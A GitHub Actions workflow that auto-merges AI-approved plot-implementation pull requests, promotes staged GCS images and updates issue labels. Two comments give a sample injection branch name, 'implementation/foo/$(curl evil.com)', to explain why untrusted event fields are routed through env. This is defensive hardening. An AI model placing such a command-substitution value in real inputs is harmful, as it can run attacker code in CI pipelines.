Merge: PR #9957 #8609
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| name: "Impl: Merge" | |
| run-name: "Merge: PR #${{ github.event.inputs.pr_number || github.event.pull_request.number }}" | |
| # Auto-merge implementation PRs when ai-approved label is added | |
| # Creates per-library metadata file and promotes GCS images | |
| on: | |
| pull_request: | |
| types: [labeled] | |
| workflow_dispatch: | |
| inputs: | |
| pr_number: | |
| description: 'PR number to auto-merge' | |
| required: true | |
| type: number | |
| concurrency: | |
| group: impl-merge-${{ github.event.inputs.pr_number || github.event.pull_request.number || github.ref }} | |
| cancel-in-progress: false | |
| jobs: | |
| merge: | |
| runs-on: ubuntu-latest | |
| permissions: | |
| contents: write | |
| pull-requests: write | |
| issues: write | |
| actions: write # Required for gh workflow run sync-postgres.yml | |
| id-token: write # Required for Workload Identity Federation | |
| steps: | |
| - name: Check conditions | |
| id: check | |
| env: | |
| GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} | |
| # Untrusted event fields routed through env: so they cannot reach | |
| # the shell as command substitution. A branch named e.g. | |
| # `implementation/foo/$(curl evil.com)` would have been executed | |
| # when assigned via direct ${{ }} interpolation. | |
| EVENT_NAME: ${{ github.event_name }} | |
| EVENT_ACTION: ${{ github.event.action }} | |
| EVENT_LABEL: ${{ github.event.label.name }} | |
| EVENT_PR_BRANCH: ${{ github.event.pull_request.head.ref }} | |
| EVENT_PR_NUMBER: ${{ github.event.pull_request.number }} | |
| INPUT_PR_NUMBER: ${{ github.event.inputs.pr_number }} | |
| GH_REPO: ${{ github.repository }} | |
| run: | | |
| if [[ "$EVENT_NAME" == "workflow_dispatch" ]]; then | |
| PR_NUM="$INPUT_PR_NUMBER" | |
| # Retry gh pr view — an unretried call here stranded an already | |
| # ai-approved PR (#9742) when the GitHub GraphQL API returned | |
| # HTTP 504 during the 2026-07-24 API brown-out. `bash -e` turned | |
| # the blip into a permanently unmerged PR. Same 3x/linear-backoff | |
| # shape as impl-review.yml's "Extract PR info". | |
| PR_DATA="" | |
| for attempt in 1 2 3; do | |
| if gh pr view "$PR_NUM" --repo "$GH_REPO" --json headRefName,labels > /tmp/pr.json 2> /tmp/pr.err; then | |
| PR_DATA=$(cat /tmp/pr.json) | |
| break | |
| fi | |
| # Flattened: `::warning::` is line-oriented, and gh's HTTP errors | |
| # are routinely multi-line — the tail would spill into the raw log. | |
| PERR=$(head -c 500 /tmp/pr.err | tr '\n' ' ') | |
| echo "::warning::gh pr view failed (attempt ${attempt}/3): ${PERR}" | |
| if [ "$attempt" -lt 3 ]; then | |
| sleep $((attempt * 5)) | |
| fi | |
| done | |
| if [ -z "$PR_DATA" ]; then | |
| echo "::error::gh pr view failed after 3 attempts for PR #${PR_NUM}" | |
| exit 1 | |
| fi | |
| BRANCH=$(echo "$PR_DATA" | jq -r '.headRefName') | |
| HAS_APPROVED=$(echo "$PR_DATA" | jq -r '[.labels[].name] | any(. == "ai-approved")') | |
| else | |
| ACTION="$EVENT_ACTION" | |
| LABEL="$EVENT_LABEL" | |
| BRANCH="$EVENT_PR_BRANCH" | |
| PR_NUM="$EVENT_PR_NUMBER" | |
| if [[ "$ACTION" != "labeled" || "$LABEL" != "ai-approved" ]]; then | |
| echo "should_run=false" >> $GITHUB_OUTPUT | |
| exit 0 | |
| fi | |
| HAS_APPROVED="true" | |
| fi | |
| # Only process implementation/* branches | |
| if [[ ! "$BRANCH" =~ ^implementation/ ]]; then | |
| echo "::notice::Skipping: Branch '$BRANCH' is not implementation/*" | |
| echo "should_run=false" >> $GITHUB_OUTPUT | |
| exit 0 | |
| fi | |
| if [[ "$HAS_APPROVED" != "true" ]]; then | |
| echo "::notice::Skipping: PR does not have ai-approved label" | |
| echo "should_run=false" >> $GITHUB_OUTPUT | |
| exit 0 | |
| fi | |
| echo "pr_number=$PR_NUM" >> $GITHUB_OUTPUT | |
| echo "branch=$BRANCH" >> $GITHUB_OUTPUT | |
| echo "should_run=true" >> $GITHUB_OUTPUT | |
| - name: Checkout repository | |
| if: steps.check.outputs.should_run == 'true' | |
| uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 | |
| with: | |
| fetch-depth: 0 | |
| - name: Extract info from branch | |
| if: steps.check.outputs.should_run == 'true' | |
| id: extract | |
| env: | |
| # Route the (still-untrusted) branch name through env: rather than | |
| # `${{ … }}` interpolation in the run body — otherwise a branch like | |
| # `implementation/foo/$(curl evil.com)` would be re-interpreted as | |
| # a shell command substitution at the assignment site. | |
| BRANCH: ${{ steps.check.outputs.branch }} | |
| run: | | |
| # Format: implementation/{specification-id}/{library} | |
| SPEC_ID=$(echo "$BRANCH" | cut -d'/' -f2) | |
| LIBRARY=$(echo "$BRANCH" | cut -d'/' -f3) | |
| # Derive LANGUAGE + EXT from LIBRARY. Mirrors core/constants.py | |
| # LIBRARIES_METADATA — extend this case when new non-Python libraries | |
| # are added. We don't encode language in the branch name to keep | |
| # existing branches and tooling working. | |
| case "$LIBRARY" in | |
| ggplot2) | |
| LANGUAGE="r" | |
| EXT=".R" | |
| ;; | |
| makie) | |
| LANGUAGE="julia" | |
| EXT=".jl" | |
| ;; | |
| chartjs|d3|echarts|highcharts) | |
| LANGUAGE="javascript" | |
| EXT=".js" | |
| ;; | |
| muix) | |
| # MUI X — JavaScript with framework=react, authored as TSX and | |
| # bundled through the render harness's esbuild React branch. | |
| LANGUAGE="javascript" | |
| EXT=".tsx" | |
| ;; | |
| *) | |
| LANGUAGE="python" | |
| EXT=".py" | |
| ;; | |
| esac | |
| echo "specification_id=$SPEC_ID" >> $GITHUB_OUTPUT | |
| echo "library=$LIBRARY" >> $GITHUB_OUTPUT | |
| echo "language=$LANGUAGE" >> $GITHUB_OUTPUT | |
| echo "ext=$EXT" >> $GITHUB_OUTPUT | |
| - name: Validate PR completeness before merge | |
| if: steps.check.outputs.should_run == 'true' | |
| env: | |
| GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} | |
| SPEC_ID: ${{ steps.extract.outputs.specification_id }} | |
| LANGUAGE: ${{ steps.extract.outputs.language }} | |
| LIBRARY: ${{ steps.extract.outputs.library }} | |
| EXT: ${{ steps.extract.outputs.ext }} | |
| BRANCH: ${{ steps.check.outputs.branch }} | |
| PR_NUM: ${{ steps.check.outputs.pr_number }} | |
| run: | | |
| # Fetch the PR branch to check its contents | |
| git fetch origin "$BRANCH" | |
| IMPL_FILE="plots/${SPEC_ID}/implementations/${LANGUAGE}/${LIBRARY}${EXT}" | |
| META_FILE="plots/${SPEC_ID}/metadata/${LANGUAGE}/${LIBRARY}.yaml" | |
| # Check if implementation file exists on the PR branch | |
| if ! git show "origin/${BRANCH}:${IMPL_FILE}" &>/dev/null; then | |
| echo "::error::Implementation file missing on branch: ${IMPL_FILE}" | |
| echo "::error::This indicates an incomplete generation - metadata exists but implementation is missing" | |
| echo "::error::Closing PR to prevent partial merge" | |
| gh pr close "$PR_NUM" --comment "**Merge blocked:** Implementation file \`${IMPL_FILE}\` is missing from this PR branch. Only metadata was found. This indicates an incomplete code generation. Please regenerate using \`generate:${LIBRARY}\` label." | |
| exit 1 | |
| fi | |
| # Check if metadata file exists | |
| if ! git show "origin/${BRANCH}:${META_FILE}" &>/dev/null; then | |
| echo "::warning::Metadata file missing on branch: ${META_FILE}" | |
| echo "::warning::This is unusual but not blocking - metadata will be created on next review" | |
| fi | |
| echo "::notice::PR completeness validated: both implementation and metadata present" | |
| - name: Get parent issue from PR body | |
| if: steps.check.outputs.should_run == 'true' | |
| id: issue | |
| env: | |
| GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} | |
| run: | | |
| PR_NUM="${{ steps.check.outputs.pr_number }}" | |
| PR_BODY=$(gh pr view "$PR_NUM" --json body -q '.body' 2>/dev/null || echo "") | |
| ISSUE=$(echo "$PR_BODY" | grep -oP '\*\*Parent Issue:\*\* #\K\d+' | head -1 || echo "") | |
| echo "number=$ISSUE" >> $GITHUB_OUTPUT | |
| - name: Extract quality score from PR labels | |
| if: steps.check.outputs.should_run == 'true' | |
| id: quality | |
| env: | |
| GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} | |
| run: | | |
| PR_NUM="${{ steps.check.outputs.pr_number }}" | |
| LABELS=$(gh pr view "$PR_NUM" --json labels -q '.labels[].name' 2>/dev/null || echo "") | |
| SCORE=$(echo "$LABELS" | grep -oP 'quality:\K\d+' | head -1 || echo "") | |
| echo "score=$SCORE" >> $GITHUB_OUTPUT | |
| - name: React with rocket emoji | |
| if: steps.check.outputs.should_run == 'true' | |
| env: | |
| GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} | |
| PR_NUMBER: ${{ steps.check.outputs.pr_number }} | |
| REPOSITORY: ${{ github.repository }} | |
| run: | | |
| gh api repos/$REPOSITORY/issues/$PR_NUMBER/reactions \ | |
| -f content=rocket | |
| - name: Merge PR to main (with retry) | |
| if: steps.check.outputs.should_run == 'true' | |
| env: | |
| # ADMIN_TOKEN: PAT with admin scope from a repo-admin user, used so | |
| # that `gh pr merge --admin` can bypass the main-branch ruleset | |
| # (required-status-checks). Falls back to GITHUB_TOKEN if not set so | |
| # the workflow still runs and fails with a clear ruleset error | |
| # instead of an opaque auth error. | |
| GH_TOKEN: ${{ secrets.ADMIN_TOKEN || secrets.GITHUB_TOKEN }} | |
| PR_NUM: ${{ steps.check.outputs.pr_number }} | |
| REPOSITORY: ${{ github.repository }} | |
| HAS_ADMIN_TOKEN: ${{ secrets.ADMIN_TOKEN != '' }} | |
| run: | | |
| if [ "$HAS_ADMIN_TOKEN" != "true" ]; then | |
| echo "::warning::ADMIN_TOKEN secret is not set — merge will fail if main ruleset enforces required status checks. Add a fine-grained PAT with Contents:Write + Pull requests:Write + Administration:Read+Write as repo secret ADMIN_TOKEN." | |
| fi | |
| MAX_ATTEMPTS=5 | |
| for attempt in $(seq 1 $MAX_ATTEMPTS); do | |
| echo "::notice::Merge attempt $attempt/$MAX_ATTEMPTS" | |
| # Re-read state first so a lost response is a no-op rather than a | |
| # half-finished merge: `gh pr merge` can succeed server-side and | |
| # still return 5xx, after which every later attempt fails with | |
| # "already merged" and the step exits 1. Because all post-merge | |
| # steps are gated on `should_run == 'true'` (implicit success()), | |
| # that skipped GCS promotion, the impl:{lib}:done label, closing | |
| # the issue and the Postgres sync — a merged PR with none of the | |
| # bookkeeping, exactly the silent partial completion CLAUDE.md | |
| # warns about for manually merged PRs. | |
| # The state read is itself retried: a blip here would fall through | |
| # to another `gh pr merge` on an already-merged PR and re-create the | |
| # very failure mode this check exists to prevent — under exactly the | |
| # brown-out conditions that motivate it. | |
| STATE="" | |
| for probe in 1 2 3; do | |
| if STATE=$(gh pr view "$PR_NUM" --repo "$REPOSITORY" --json state -q .state 2> /tmp/state.err); then | |
| break | |
| fi | |
| SERR=$(head -c 500 /tmp/state.err | tr '\n' ' ') | |
| echo "::warning::gh pr view (state) failed (probe ${probe}/3): ${SERR}" | |
| STATE="" | |
| if [ "$probe" -lt 3 ]; then | |
| sleep $((probe * 5)) | |
| fi | |
| done | |
| if [ -z "$STATE" ]; then | |
| echo "::warning::Could not read state for PR #${PR_NUM} — proceeding to merge attempt $attempt" | |
| fi | |
| if [ "$STATE" = "MERGED" ]; then | |
| echo "::notice::PR #${PR_NUM} is already merged — continuing to post-merge steps" | |
| exit 0 | |
| fi | |
| # Update branch before merge attempt | |
| gh pr update-branch "$PR_NUM" --repo "$REPOSITORY" 2>/dev/null || true | |
| sleep 2 | |
| # --admin bypasses the branch ruleset's required-status-check | |
| # gate. Required because impl-generate.yml pushes via GITHUB_TOKEN, | |
| # which by GitHub's anti-recursion design does not trigger | |
| # downstream CI workflows (Run Linting / Run Tests / Run Frontend | |
| # Tests), so impl PRs never get those checks. The pipeline already | |
| # gates merge behind the AI quality review threshold. | |
| # | |
| # Bypass only works if the token has admin role. GITHUB_TOKEN is | |
| # only `write`, so a repo-admin PAT is required (ADMIN_TOKEN). | |
| if gh pr merge "$PR_NUM" \ | |
| --repo "$REPOSITORY" \ | |
| --squash \ | |
| --admin \ | |
| --delete-branch 2> /tmp/merge.err; then | |
| echo "::notice::Merge successful on attempt $attempt" | |
| exit 0 | |
| fi | |
| # Second line of defence for the same lost-response case: if the | |
| # state probe above is ALSO failing (same brown-out), the merge can | |
| # already be done while every retry here reports "already merged" | |
| # until the loop exits 1 and the post-merge bookkeeping is skipped. | |
| # gh saying the PR is already merged IS the success signal. | |
| MERR=$(head -c 500 /tmp/merge.err | tr '\n' ' ') | |
| if grep -qiE 'already merged|pull request is (already )?(merged|closed)' /tmp/merge.err; then | |
| echo "::notice::PR #${PR_NUM} reported as already merged — continuing to post-merge steps" | |
| exit 0 | |
| fi | |
| if [ $attempt -lt $MAX_ATTEMPTS ]; then | |
| DELAY=$((attempt * 10)) | |
| echo "::warning::Merge failed (${MERR}), retrying in ${DELAY}s..." | |
| sleep $DELAY | |
| fi | |
| done | |
| echo "::error::Merge failed after $MAX_ATTEMPTS attempts" | |
| exit 1 | |
| # Note: quality_score is now set by impl-review.yml before merge | |
| # The PR already contains the updated metadata when merged | |
| - name: Authenticate to GCP | |
| if: steps.check.outputs.should_run == 'true' | |
| uses: google-github-actions/auth@7c6bc770dae815cd3e89ee6cdf493a5fab2cc093 # v3 | |
| with: | |
| project_id: anyplot | |
| workload_identity_provider: ${{ secrets.GCP_WORKLOAD_IDENTITY_PROVIDER }} | |
| - name: Set up Cloud SDK | |
| if: steps.check.outputs.should_run == 'true' | |
| uses: google-github-actions/setup-gcloud@aa5489c8933f4cc7a4f7d45035b3b1440c9c10db # v3 | |
| - name: Promote GCS images to production | |
| if: steps.check.outputs.should_run == 'true' | |
| env: | |
| SPEC_ID: ${{ steps.extract.outputs.specification_id }} | |
| LANGUAGE: ${{ steps.extract.outputs.language }} | |
| LIBRARY: ${{ steps.extract.outputs.library }} | |
| run: | | |
| STAGING="gs://anyplot-images/staging/${SPEC_ID}/${LANGUAGE}/${LIBRARY}" | |
| PRODUCTION="gs://anyplot-images/plots/${SPEC_ID}/${LANGUAGE}/${LIBRARY}" | |
| # Copy from staging to production | |
| gsutil -m -h "Cache-Control:public, max-age=604800" cp -r "${STAGING}/*" "${PRODUCTION}/" 2>/dev/null || echo "No staging files to promote" | |
| # Make production files public | |
| gsutil -m acl ch -r -u AllUsers:R "${PRODUCTION}/" 2>/dev/null || true | |
| # Clean up staging | |
| gsutil -m rm -r "${STAGING}/" 2>/dev/null || true | |
| rm -f /tmp/gcs-key.json | |
| echo "::notice::Promoted images to production" | |
| - name: Update issue labels | |
| if: steps.check.outputs.should_run == 'true' && steps.issue.outputs.number != '' | |
| env: | |
| GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} | |
| ISSUE: ${{ steps.issue.outputs.number }} | |
| LIBRARY: ${{ steps.extract.outputs.library }} | |
| run: | | |
| # Create labels if they don't exist | |
| gh label create "impl:${LIBRARY}:done" --color "0e8a16" --description "${LIBRARY} implementation merged" 2>/dev/null || true | |
| # Remove trigger, pending, and any stale failed label from earlier attempts, | |
| # then add done. The :failed label is added by impl-generate.yml when an | |
| # attempt errors out (e.g. environment setup failure); a later successful | |
| # retry merges via this workflow but historically didn't clean up :failed, | |
| # leaving the issue with both :done and :failed for the same library. | |
| # Single API call (comma-separated) — matches the pattern in | |
| # impl-generate.yml and avoids the partial-update window of separate edits. | |
| gh issue edit "$ISSUE" \ | |
| --remove-label "generate:${LIBRARY},impl:${LIBRARY}:pending,impl:${LIBRARY}:failed" \ | |
| --add-label "impl:${LIBRARY}:done" 2>/dev/null || \ | |
| gh issue edit "$ISSUE" --add-label "impl:${LIBRARY}:done" | |
| - name: Post success to issue | |
| if: steps.check.outputs.should_run == 'true' && steps.issue.outputs.number != '' | |
| env: | |
| GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} | |
| ISSUE: ${{ steps.issue.outputs.number }} | |
| LANGUAGE: ${{ steps.extract.outputs.language }} | |
| LIBRARY: ${{ steps.extract.outputs.library }} | |
| SPEC_ID: ${{ steps.extract.outputs.specification_id }} | |
| PR_NUM: ${{ steps.check.outputs.pr_number }} | |
| QUALITY_SCORE: ${{ steps.quality.outputs.score }} | |
| run: | | |
| BODY="## :white_check_mark: ${LIBRARY} Complete | |
| **${LIBRARY}** implementation for \`${SPEC_ID}\` has been merged to main. | |
| **PR:** #${PR_NUM}" | |
| if [ -n "$QUALITY_SCORE" ]; then | |
| BODY="${BODY} | |
| **Quality Score:** ${QUALITY_SCORE}/100" | |
| fi | |
| BODY="${BODY} | |
| **Preview:** [light](https://storage.googleapis.com/anyplot-images/plots/${SPEC_ID}/${LANGUAGE}/${LIBRARY}/plot-light.png) · [dark](https://storage.googleapis.com/anyplot-images/plots/${SPEC_ID}/${LANGUAGE}/${LIBRARY}/plot-dark.png) | |
| --- | |
| :robot: *[impl-merge](https://github.com/${{ github.repository }}/actions/runs/${{ github.run_id }})*" | |
| gh issue comment "$ISSUE" --body "$BODY" | |
| - name: Close issue if all libraries done | |
| if: steps.check.outputs.should_run == 'true' && steps.issue.outputs.number != '' | |
| env: | |
| GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} | |
| ISSUE: ${{ steps.issue.outputs.number }} | |
| SPEC_ID: ${{ steps.extract.outputs.specification_id }} | |
| run: | | |
| # All supported libraries, read from core/constants.py so this list | |
| # can never drift again (a stale hardcoded 11-library copy used to | |
| # close issues while the 4 JS libraries were still pending). | |
| LIBRARIES=$(python3 -c "from core.constants import SUPPORTED_LIBRARIES; print(' '.join(sorted(SUPPORTED_LIBRARIES)))") | |
| if [ -z "$LIBRARIES" ]; then | |
| echo "::error::Could not read SUPPORTED_LIBRARIES from core/constants.py" | |
| exit 1 | |
| fi | |
| # Get current labels on the issue | |
| LABELS=$(gh issue view "$ISSUE" --json labels -q '.labels[].name' 2>/dev/null || echo "") | |
| # Count done and failed implementations | |
| DONE_COUNT=0 | |
| FAILED_COUNT=0 | |
| DONE_LIBS="" | |
| FAILED_LIBS="" | |
| for lib in $LIBRARIES; do | |
| if echo "$LABELS" | grep -q "^impl:${lib}:done$"; then | |
| DONE_COUNT=$((DONE_COUNT + 1)) | |
| DONE_LIBS="$DONE_LIBS $lib" | |
| elif echo "$LABELS" | grep -q "^impl:${lib}:failed$"; then | |
| FAILED_COUNT=$((FAILED_COUNT + 1)) | |
| FAILED_LIBS="$FAILED_LIBS $lib" | |
| fi | |
| done | |
| TOTAL_LIBS=$(echo "$LIBRARIES" | wc -w | tr -d ' ') | |
| TOTAL=$((DONE_COUNT + FAILED_COUNT)) | |
| echo "::notice::Libraries: $DONE_COUNT done, $FAILED_COUNT failed, $TOTAL/$TOTAL_LIBS total" | |
| # Close issue if all supported libraries are done OR done+failed=TOTAL_LIBS | |
| if [ "$TOTAL" -eq "$TOTAL_LIBS" ]; then | |
| # Build status table | |
| TABLE="| Library | Status |\n|---------|--------|" | |
| for lib in $LIBRARIES; do | |
| if echo "$DONE_LIBS" | grep -w -q "$lib"; then | |
| TABLE="$TABLE\n| $lib | :white_check_mark: |" | |
| elif echo "$FAILED_LIBS" | grep -w -q "$lib"; then | |
| TABLE="$TABLE\n| $lib | :x: (not supported) |" | |
| fi | |
| done | |
| if [ "$FAILED_COUNT" -eq 0 ]; then | |
| TITLE=":tada: All Implementations Complete!" | |
| SUMMARY="All ${TOTAL_LIBS} library implementations for \`${SPEC_ID}\` have been successfully merged." | |
| else | |
| TITLE=":white_check_mark: Implementations Complete" | |
| SUMMARY="${DONE_COUNT}/${TOTAL_LIBS} implementations merged, ${FAILED_COUNT} libraries could not implement this plot type." | |
| fi | |
| gh issue comment "$ISSUE" --body "## ${TITLE} | |
| ${SUMMARY} | |
| $(echo -e "$TABLE") | |
| --- | |
| :robot: *[impl-merge](https://github.com/${{ github.repository }}/actions/runs/${{ github.run_id }})*" | |
| gh issue close "$ISSUE" | |
| echo "::notice::Closed issue #$ISSUE - all implementations complete ($DONE_COUNT done, $FAILED_COUNT failed)" | |
| fi | |
| - name: Trigger database sync | |
| if: steps.check.outputs.should_run == 'true' | |
| env: | |
| GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} | |
| run: | | |
| gh workflow run sync-postgres.yml | |
| echo "::notice::Triggered sync-postgres.yml" |